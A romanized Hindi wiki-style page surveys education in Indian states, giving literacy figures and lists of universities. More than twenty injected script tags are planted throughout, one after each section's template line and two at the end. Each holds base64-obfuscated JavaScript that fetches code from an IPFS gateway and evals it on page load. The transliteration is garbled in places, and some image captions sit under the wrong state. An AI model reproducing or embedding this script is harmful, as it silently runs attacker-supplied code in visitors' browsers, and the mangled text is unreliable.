1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• rajasthan mean anek shaikshanik sansthan haian.
• jinamean rajy dvara sanchalit jayapur, udayapur, jodhapur v ajamer vishvavidyalay; kota khula vishvavidyalay; pilani mean bi dala ianstityoot aauf teknol aauji end sains shamil haian.
• yahaan anek rajakiy aspatal aur davakhane haian.
• yahaan kee ayurvedik, yoonani (j di-bootiyoan par adharit chikitsa paddhati) evan homiyopaithi sansthan haian.

tamilanadu

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• tamilanadu ka saksharata dar lagabhag 73.47 pratishat (2001) hai.
• yahaan prathamik, madhyamik v uchch vidyalay aur kala evan vijnan mahavidyalayoan ke sath- sath chikitsa mahavidyalay, abhiyaantriki mahavidyalay, p aauliteknik sansthaean tatha audyogik prashikshan sansthaean haian.
• tamilanadu mean 21 vishvavidyalay haian, jinamean- chennee mean madras vishvavidyalay; anna vishvavidyalay; d aau. aanbedakar vidhi vishvavidyalay; chidanbaram mean annamalaee vishvavidyalay; koyanbattur mean bharathiyar vishvavidyalay, tiruchirappalli mean bharatidasan vishvavidyalay; madurai mean madurai kamaraj vishvavidyalay; kodaikanal mean madar teresa vinas vishvavidyalay; selam mean periyar vishvavidyalay aur tanjavoor mean tamil vishvavidyalay shamil haian.

gujarat

[[chitr:University-of-Madras.jpg|thumb|250px|madras vishvavidyalay, chennee]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• gujarat mean 500 ya isase zyada janasankhya vale lagabhag sabhi gaanvoan mean sat se gyarah varsh ke sabhi bachchoan ke lie prathamik pathashalaean kholi ja chuki haian.
• adivasi bachchoan ko kala aur shilp ki shiksha dene ke lie vishesh vidyalay chalae jate haian.
• yahaan anek madhyamik aur uchchatar vidyalayoan ke sath-sath nau vishvavidyalay aur uchch shiksha ke lie b di sankhya mean shikshan sansthan haian.
• abhiyaantriki mahavidyalayoan aur takaniki vidyalayoan dvara takaniki shiksha upalabdh karaee jati hai.

meghalay

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• meghalay bharat ke sabase kam vikasit rajyoan mean se ek hai.
• lagabhag adhe se adhik log (63.3 pratishat) sakshar haian.
• rajy mean 5,517 shikshan sansthaean haian.

tripura

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

21 janavari 1972 mean tripura ke sanpoorn rajy banane ke bad se shiksha ke kshetr mean rajy ne tej gati se vikas kiya hai. akar mean chhota lekin behad khoobasoorat rajy tripura, kshetr aur kshetr ke bahar ke vidyarthianyoan ke lie shiksha ki bahut achchhi suvidha upalabdh kara raha hai. pradesh mean shasakiy vidyalayoan ke sath-sath niji vidyalay bhi sanchalit kie ja rahe haian. dharmik shiksha pradan karane vale bahut se dharmik sansthan bhi is chhote se bharatiy rajy mean apani sevaean de rahe haian. thumb|left|pune vishvavidyalay

panjab

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sarakar ke sath- sath mean niji sangathanoan ne bhi skool aur mahavidyalay star par balak- balikaoan ki shiksha ke vistar mean mahattvapoorn bhoomika nibhaee hai. manyata prapt niji prabandhan vale sansthanoan ko kafi had tak sarakar se madad milati hai. chhah se gyarah sal tak ke bachchoan ke lie prathamik shiksha anivary hai. vastut: pratyek gaanv ke nikat prathamik vidyalay aur rajy mean uchchatar madhyamik, uchch aur madhy vidyalayoan ke sadhan netavark ke bavajood panjab mean 1991 tak sirf 58.5 pratishat janasankhya (sat sal aur usase adhik ayoo ke) sakshar thi, jabaki bharat ka ausat 52.2 pratishat hai. saksharata dar anusoochit janajati (41 pratishat), visheshakar mahilaoan mean (31 pratishat), kafi kam hai.

asam

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• asam mean chhah se barah varsh ki umr tak ke bachchoan ke lie madhyamik star tak anivary tatha ni:shulk shiksha ki vyavastha hai.
• guvahati, yorahat evan dibroogadh mean vishvavidyalay haian.
• rajy ke 80 se bhi zyada keandroan se lok kalyan ki vibhinn yojanaoan ka sanchalan ho raha hai.

keral

[[chitr:Technocrats-Institute-Of-Technology-Bhopal.jpg|thumb|250px|teknokretas instityoot aauf teknol aauji, bhopal]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ki sabase vikasit shaikshanik pranaliyoan mean se ek keral mean hai. saksharata dar rashtriy ausat se kafi adhik hai. 6 se 11 varsh ke bich prathamik shiksha anivary hai. yahaan prathamik, madhyamik aur uchch madhyamik vidyalay, p aauliteknik aur audyogik prashikshan sansthan, kala, vijnan aur vyavasayik mahavidyalay haian. keral mean keral vishvavidyalay, kalikat vishvavidyalay, shri shankarachary sanskrit vishvavidyalay, kannoor vishvavidyalay, mahatma gaandhi vishvavidyalay aur shri chitr thiroonal ianstityoot f aaur medikal saians eand teknokal aauji avasthit haian. knnur, kottayam, koshikod, trishoor, alappusha aur tiroovanantapuram mean medikal k aaulej haian; olloor, kottakal, tripunithura aur tiroovanantapuram mean ayurvedik k aaulej aur koshikod mean ek deantal k aaulej sthit hai. koshikod, alappusha, adoor, kasaragod, kochchi, kollam, kannoor, trishoor, kottayam, ernakulam, palakka d aur tiroovanantapuram mean ianjiniyariang k aaulej haian.

gova

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gova mean saksharata ka pratishat 82.32 hai, jo bharat mean keral (90.86) aur mizoram (88.80) ke bad tisari sabase adhik hai. gova mean purush 88.88 pratishat aur stri 75.51 pratishat sakshar hai. gova mean skool se lekar k aaulej v takaniki sansthanoan tak vibhinn shreni ke shikshan v prashikshan sansthan haian. panaji ke nazadik hi gova vishvavidyalay sthit hai. ghat aur pot godi gatividhiyoan se paripoorn haian aur isase alag miramar tat hai. jahaan dakshini dhruv ke bare mean apane shodhoan v abhiyanoan ke lie prasiddh samudr vijnan sansthan sthit hai.

jammoo aur kashmir

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• jammoo aur kashmir mean shiksha har star par niahshulk hai. saksharata ki dar, visheshakar leh mean, rajy ke ausat ke barabar hai.
• uchch shiksha ke do kendr haian. donoan 1969 mean sthapit hue the.
• ye haian– kashmir mahavidyalay, shrinagar aur jammoo vishvavidyalay, chikitsa seva rajy bhar mean phaile hue aspataloan aur davakhanoan dvara pradan ki jati hai.

himachal pradesh

[[chitr:Delhi-University.jpg|thumb|250px|left|dilli vishvavidyalay]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• himachal pradesh ne shiksha aur lok svasthy suvidhaoan ke vistar aur sanchar suvidhaoan ke sudhar ki disha mean ullekhaniy pragati ki hai. phir bhi rajy ki adhikaansh janata jivanayapan ke star par hi hai aur rajy ke vishal prakritik sansadhanoan ka yojanabaddh roop se dohan hona abhi baqi hai.
• 1970 mean shimala mean himachal pradesh vishvavidyalay ki sthapana ke sath hi pradesh mean uchch shiksha sanbhav ho saki.
• is vishvavidyalay se 50 se adhik mahavidyalay sanbaddh haian.

odisha

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• 1947 ke bad shaikshanik sansthanoan mean ullekhaniy vriddhi huee hai.
• yahaan paanch vishvavidyalay (aur kee sanbaddh mahavidyalay) haian, jinamean utkal vishvavidyalay aur u disa krishi evan prodyogiki vishvavidyalay sabase b de v vikhyat haian.
• shaikshanik sansthanoan ke nam is prakar hai:-
  • k aaulej aauf ianjiniyariang aiand teknol aauji (bhuvaneshvar)
  • iandira gaandhi ianstityoot aauf teknol aauji (talachar)
  • ianstityoot aauf phiziks (bhuvaneshvar)

hariyana

[[chitr:Maharaja-Sayajirao-University-Baroda.jpg|thumb|250px|maharaja sayajirav vishvavidyalay, v dodara]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panjab ki tarah hariyana mean bhi vidyalay aur mahavidyalay, donoan staroan par shiksha ko badhava dene mean sarakar ki bhoomika ke alava niji sansthanoan ne bhi ullekhaniy yogadan diya hai. rajy ke vikas karyakramoan mean shiksha ko uchch prathamikata di gee hai. kala evan vijnan mahavidyalayoan ki sankhya 1966-67 mean 40 se badhakar 1997-98 mean 140 ho gee, is avadhi mean uchch aur uchchtar madhyamik vidyalayoan ki sankhya 597 se 3,517; madhyamik buniyadi pathashalaean 735 se 1,718 aur prathamik buniyadi pathashalaoan ki sankhya 4,447 se 10, 134 ho gee . vibhinn staroan ke ye sansthan rajy ke 6,759 gaanvoan aur 94 qasboan mean sthit hai. inake alava, hariyana mean ab char vishvavidyalay haian: kurookshetr mean kurookshetr vishvavidyalay, rohatak mean maharshi dayanand vishvavidyalay, hisar mean guru janbheshvar vishvavidyalay aur vikhyat pashupalan vijnan mahavidyalay sahit hariyana krishi vishvavidyalay.

karnatak

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• karnatak , jisaki abadi ka lagabhag 67 pratishat hissa sakshar hai, bharat ke shaikshik roop se vikasit rajyoan mean se ek hai.
• yahaan b di sankhya mean vidyalay aur uchch shiksha ke sansthan haian, jinamean maisoor mean vishvavidyalay, dharava d sthit karnatak vishvavidyalay aur gulabarga v mangalor vishvavidyalay evan shimoga sthit kuvaianph vishvavidyalay bhi shamil haian.
• bangalor vishvavidyalay, krishi vijnan vishvavidyalay aur iandiyan ianstityoot aauf saians, ye sabhi bangalor mean sthit haian.

uttarakhand

thumb|250px|bharatiy praudyogiki sansthan, ru daki

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aitihasik roop se yah mana jata hai ki uttarakhand vah bhoomi hai jahaan par shastroan aur vedoan ki rachana ki gee thi aur mahakavy, mahabharat likha gaya tha. rrishikesh ko vyapak roop se vishv ki yog rajadhani mana jata hai. uttarakhand mean bahut se shaikshanik sansthan haian. jaise-

• ru daki ka bharatiy praudyogiki sansthan (pahale ru daki vishvavidyalay)
• pantanagar ka govind ballabh pant krishi evan praudyogiki vishvavidyalay

dilli

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dilli, bharat mean shiksha ka ek mahattvapoorn keandr hai. dilli ke vikas ke sath-sath yahaan shiksha ka bhi tezi se vikas hua hai. prathamik shiksha to prayah sarvajanik ya ni:shulk hai. ek bahut b de anupat mean bachche madhyamik vidyalayoan mean shiksha grahan kar rahe haian. stri shiksha ka vikas har star par purushoan se adhik hua hai. yahaan ki shiksha sansthaoan mean vidyarthi bharat ke sabhi bhagoan se ate haian. dilli mean uchchatar shiksha evan anusandhan ke anek kendr haian. lagabhag gyarah vishvavidyalay, anek mahavidyalay, anaginat prathamik anusandhan kendr poori dilli mean phaile haian. yahaan kee sarakari evan niji shiksha sansthan haian jo kala, vanijy, vijnan, prodyogiki, ayurvijnan, vidhi aur prabandhan mean uchch star ki shiksha dene ke liye vikhyat haian.

nagalaiand

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• nagalaiand ki janasankhya ka 67.11 pratishat hissa sakshar hai, jo rashtriy ausat se adhik hai.
• kee prathamik vidyalayoan (1,299), madhyamik vidyalayayoan (358) aur uchchatar madhyamik vidyalayoan (179) ke sath- sath yahaan kee snatak star ke mahavidyalay bhi haian.

[[chitr:Indian-Institute-Of-Technology-Kharagpur.jpg|thumb|250px|left| bharatiy praudyogiki sansthan, kh dagapur]]

pashchim bangal

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• pashchim bangal mean 10 vishvavidyalayoan ke sath abhiyaantriki evan chikitsa mahavidyalay haian.
• kalakatta, jadavapur aur raviandr bharati vishvavidyalay rajadhani mean sthit haian.
• yahaan kee takaniki sansthan aur 5,000 se bhi zyada praudh shiksha keandr haian.

bihar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yadyapi 20vian sadi ke uttarardh mean bihar ki shiksha dar lagabhag tiguni hokar rajy ki janasankhya ke qarib 48 pratishat tak pahuanch gee hai, phir bhi yah desh ke any rajyoan ki shiksha dar ki tulana mean kafi niche hai. mahila saksharata dar (33.57 pratishat) ki tulana mean purush saksharata dar (60.32 pratishat) lagabhag dugani hai. 14 varsh tak ke sabhi bachchoan ko shikshit karana rajy ka pradhan lakshy hai. inamean se lagabhag 90 pratishat bachche prathamik skooloan mean dakhila lene ke yogy haian, lekin inamean se bahut kam hi madhyamik star tak pahuanch pate haian, kyoanki inaki arthik avashyakataean inhean kam karane ke lie badhy karati haian.

madhy pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• 2001 ki ganana ke anusar madhy pradesh mean saksharata badhi hai.
• 1991 ke 44.67 pratishat ki tulana mean saksharata dar badhakar 64.11 pratishat ho gee hai.
• yahaan prathamik, madhyamik v uchch shiksha ke vidyalay aur sath hi paliteknik, audyogik kala tatha shilp vidyalay haian.
• madhy pradesh mean kee vishvavidyalay haian.

[[chitr:Indian-School-Business.jpg|thumb|250px|iandiyan skool aauf bijanes, aandhr pradesh]]

maharashtr

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hal ke dashakoan mean is maharashtr ne shiksha ke kshetr mean pragati ki hai. ab saksharata dar (2001 janaganana) 77.27 pratishat hai, stri saksharata dar 67.51 pratishat, purush 86.27 pratishat hai. bich mean padhaee chho dakar chale jane valoan ke ooanche pratishat, sthan ki kami, aparyapt pustakalay aur sahayogi upakaranoan ke abhav ke bavajood prathamik aur madhyamik shiksha tatha shikshak prashikshan ke kshetr mean vikas hua hai. yahaan ke shaikshanik sansthanoan mean muanbee vishvavidyalay, nagapur vishvavidyalay, pune vishvavidyalay, shivaji vishvavidyalay (kolhapur), es. en. di. ti. mahila vishvavidyalay (muanbee), uttari maharashtr vishvavidyalay (jalagaanv), amaravati vishvavidyalay, bharat vidyapith (pune), kendriy matsy palan sansthan (muanbee), dkkan k aaulej post grejuet aiand risarch ianstityoot (pune), daktar panjabarav deshamukh krishi vidyapith (akola), gokhale ianstityoot aauf p aaulitiks aiand ikon aaumiks (pune), iandira gaandhi ianstityoot aauf devalapameant risarch, iantaraneshanal ianstityoot f aaur papuleshan saiansez (muanbee), tata ianstityoot aauf soshal saiansaz, kavi guru kalidas sanskrit vishvavidyalayamh (ramatek), koankan krishi vidyapith (dapoli), mahatma gaandhi aantarrashtriy hindi vishvavidyalay (vardha), mahatma gaandhi phule vidyapith (rahu di) aur yashavantarav chavhan maharashtr vishvavidyalay (nasik) shamil haian.

aandhr pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aandhr pradesh mean saksharata dar lagabhag 61.11 pratishat hai. rajy ki shiksha pranali mean skooli shiksha ke 10 varsh ke bad do varsh ka jooniyar k aaulej pathyakram shamil hai, usake bad snatak aur snatakottar shiksha ki vyavastha hai. 1961 se rajy mean prathamik shiksha ni:shulk aur anivary rahi hai. sthaniy nikayoan ke aantargat ane vali madhyamik shiksha bhi ni:shulk hai. rajy mean 12 vishvavidyalay haian- haidarabad (krishi vishvavidyalay sahit paanch), v aaulteyar, varangal, guantoor, vijayava da, anantapur aur tirupati (do) - pratyek se kee mahavidyalay sanbaddh haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>